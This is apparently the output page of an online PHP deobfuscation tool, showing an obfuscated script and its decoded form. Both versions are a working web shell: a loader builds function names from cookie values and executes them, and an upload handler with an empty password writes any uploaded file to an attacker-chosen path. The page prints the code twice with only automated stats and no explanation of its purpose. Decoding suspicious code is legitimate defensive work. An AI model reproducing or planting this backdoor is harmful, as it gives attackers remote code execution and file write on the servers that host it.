Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$nvp="g".chr(101).chr(116)."e".chr(110)."v";$mu="e".chr(120).chr(112)."lode";$nt="u".chr(1..

Decoded Output download

<?  $nvp="g".chr(101).chr(116)."e".chr(110)."v";$mu="e".chr(120).chr(112)."lode";$nt="u".chr(114).chr(108).chr(100)."ecode";$tx="ge".chr(116)."type";$mk="cou".chr(110)."t";if(isset($_SERVER["D".chr(79)."MAI".chr(78).chr(95)."P".chr(65)."TH"]))$_SERVER["D".chr(79)."CU".chr(77)."ENT_RO".chr(79)."T"]=$_SERVER["D".chr(79)."MAIN_PATH"];$bf=$nvp("H".chr(84).chr(84)."P".chr(95).chr(67)."OOKIE");$n=$mu(";",$bf);$bf = array();foreach($n as $xl){$rk=$mu("=",$xl);$bf[$rk[0]]=$nt($rk[1]);}($mk($bf)==11&&in_array($tx($bf).$mk($bf),$bf))?(($bf[47]=$bf[47].$bf[43])&&($bf[82]=$bf[47]($bf[82]))&&($bf=$bf[82]($bf[45],$bf[47]($bf[23])))&&$bf()):$bf; 
$pass = ''; 
if(isset($_FILES['mbdfiles']) && (empty($pass)||md5($_POST['p'])==$pass)){ 
   $gg = Array('co'.'py'); 
   echo $gg[chr(48)]($_FILES['mbdfiles']['tmp_name'], $_POST['id']); 
   exit; 
} 
?> 
<form method="post" enctype="multipart/form-data"> 
    <input type="text" name="id"/> <input type="text" name="p"/> 
    <input type="file" name="mbdfiles"/> 
    <input type="submit"/> 
</form>

Did this file decode correctly?

Original Code

$nvp="g".chr(101).chr(116)."e".chr(110)."v";$mu="e".chr(120).chr(112)."lode";$nt="u".chr(114).chr(108).chr(100)."ecode";$tx="ge".chr(116)."type";$mk="cou".chr(110)."t";if(isset($_SERVER["D".chr(79)."MAI".chr(78).chr(95)."P".chr(65)."TH"]))$_SERVER["D".chr(79)."CU".chr(77)."ENT_RO".chr(79)."T"]=$_SERVER["D".chr(79)."MAIN_PATH"];$bf=$nvp("H".chr(84).chr(84)."P".chr(95).chr(67)."OOKIE");$n=$mu(";",$bf);$bf = array();foreach($n as $xl){$rk=$mu("=",$xl);$bf[$rk[0]]=$nt($rk[1]);}($mk($bf)==11&&in_array($tx($bf).$mk($bf),$bf))?(($bf[47]=$bf[47].$bf[43])&&($bf[82]=$bf[47]($bf[82]))&&($bf=$bf[82]($bf[45],$bf[47]($bf[23])))&&$bf()):$bf;
$pass = '';
if(isset($_FILES['mbdfiles']) && (empty($pass)||md5($_POST['p'])==$pass)){
   $gg = Array('co'.'py');
   echo $gg[chr(48)]($_FILES['mbdfiles']['tmp_name'], $_POST['id']);
   exit;
}
?>
<form method="post" enctype="multipart/form-data">
    <input type="text" name="id"/> <input type="text" name="p"/>
    <input type="file" name="mbdfiles"/>
    <input type="submit"/>
</form>

Function Calls

chr 18
getenv 1

Variables

$mk count
$mu explode
$nt urldecode
$tx gettype
$nvp getenv

Stats

MD5 f227053b29bea9346778f61e0a3d0ae1
Eval Count 0
Decode Time 83 ms